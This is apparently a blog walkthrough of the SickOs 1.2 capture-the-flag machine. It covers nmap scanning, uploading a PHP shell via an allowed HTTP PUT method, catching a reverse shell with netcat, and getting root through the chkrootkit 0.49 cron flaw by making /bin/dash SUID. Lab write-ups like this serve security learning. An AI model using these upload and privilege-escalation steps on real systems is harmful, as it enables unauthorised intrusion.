Today’s VM is the second machine in the SickOs series. The goal is to obtain the root flag. Target acquired!
I did a fast scan with Masscan and discovered that ports 22 and 80 are open. Then I scanned them with Nmap:
12345678
nmap -T4 -p22,80 -sV 192.168.217.146
Starting Nmap 7.40 ( https://nmap.org ) at 2017-07-03 09:11 EDT
Nmap scan report for 192.168.217.146
Host is up (0.00030s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0)
80/tcp open http lighttpd 1.4.28
The web server serves this pic:
Nothing in exiftool. I bruteforced the web server, but the only discovery was an empty test directory. I initially overlooked the page source of the picture, until I noticed there is a scroll bar. So I scrolled down to find a comment:
1
<!-- NOTHING IN HERE ///\\\ -->>>>
I tried constructing a path out of the comment, but didn’t get anywhere. Searching for an exploit for the lighttpd server version didn’t yield anything either, although I found some for other versions.
Back to the empty directory, I found it strange that there would be an innocuous empty folder on the web server, and I thought it might hint to making it..not empty by uploading something there :–) I was at a loss on how to do that with no attack vectors, but then I remembered that uploading something on a server doesn’t always require sophisticated mechanisms and PHP vulnerabilities and the like. It’s just as simple as using a certain HTTP method that you don’t see too often: PUT
First, I needed to verify if PUT is allowed in the first place:
1234567
nmap --script http-methods --script-args http-methods.url-path='/test' 192.168.217.146
PORT STATE SERVICE
80/tcp open http
| http-methods:
| Supported Methods: PROPFIND DELETE MKCOL PUT MOVE COPY PROPPATCH LOCK UNLOCK GET HEAD POST OPTIONS
| Potentially risky methods: PROPFIND DELETE MKCOL PUT MOVE COPY PROPPATCH LOCK UNLOCK
|_ Path tested: /test
Excellent! I proceeded to upload a PHP shell with curl,but I got some weird expectation failed errors. Luckily, Nmap also has a script for PUT’ing things on a server:
12345678
nmap -p 80 192.168.217.146 --script http-put --script-args http-put.url='/test/shell.php',http-put.file='/root/Desktop/shell.php'
Starting Nmap 7.40 ( https://nmap.org ) at 2017-07-04 04:36 EDT
Nmap scan report for 192.168.217.146
Host is up (0.00031s latency).
PORT STATE SERVICE
80/tcp open http
|_http-put: /test/shell.php was successfully created
All didn’t work well, though. I usually use 8888 for my reverse shells, but this time I got nothing. I tried port 80, and still no joy. It seems that only port 443 is allowed. I looked at other walkthroughs for this, so I’m not sure how you could determine it otherwise besides trial and error. But when I changed to the correct port, I got the shell:
12345678910
nc -vnlp 443
listening on [any] 443 ...
connect to [192.168.217.132] from (UNKNOWN) [192.168.217.146] 49769
Linux ubuntu 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux
01:48:24 up 1:38, 0 users, load average: 0.00, 0.01, 0.05
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
Next, I did some enumeration. The usual culprits didn’t stand out, and the permissions on this shell were pretty limited, but I did find something interesting pertaining to cron:
The entry that got my attention was the chkrootkit one. chkrootkit is a tool that checks for rootkits on the system. I googled for possible exploits, and I did find one right away. The vulnerable version is 0.49. I checked which version is installed on the system:
12
$ chkrootkit -V
chkrootkit version 0.49
Well, well! The exploit leverages exactly the case here, vulnerable chkrootkit running as root, courtesy of the cron job. The step to compromise the system is to put an executable file named ‘update’ with non-root owner in /tmp
So, my idea was to give myself privileges to run an existing shell as root. I looked at what shells are installed on the system:
I wasted almost an hour next, because the non-interactive shell gave me grief and prevented things from working properly. I started with bash and made it suid and ran it, but it didn’t work. What worked was making dash suid and also spawning a TTY shell with python -c ‘import pty; pty.spawn(“/bin/sh”)’.
Inside the update file, I just made /bin/dash suid:
123
$ cat update
#!/bin/bash
chmod u+s /bin/dash
Then I waited a minute for cron to run and got root:
12345
$ /bin/dash
/bin/dash
# whoami
whoami
root
Besides the flag, in the root directory there was rule file for iptables that explained the VM’s behavior. Anyway, here’s the flag:
1234567
# cat 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
cat 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
WoW! If you are viewing this, You have "Sucessfully!!" completed SickOs1.2, the challenge is more focused on elimination of tool in real scenarios where tools can be blocked during an assesment and thereby fooling tester(s), gathering more information about the target using different methods, though while developing many of the tools were limited/completely blocked, to get a feel of Old School and testing it manually.
Thanks for giving this try.
@vulnhub: Thanks for hosting this UP!.
This machine was challenging in the way it limited you to only certain actions. Damn, the first thing I will do from now on when getting a limited shell is spawn a TTY!!!
123456789
________________________________________
/ Tomorrow will be cancelled due to lack \
\ of interest. /
----------------------------------------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||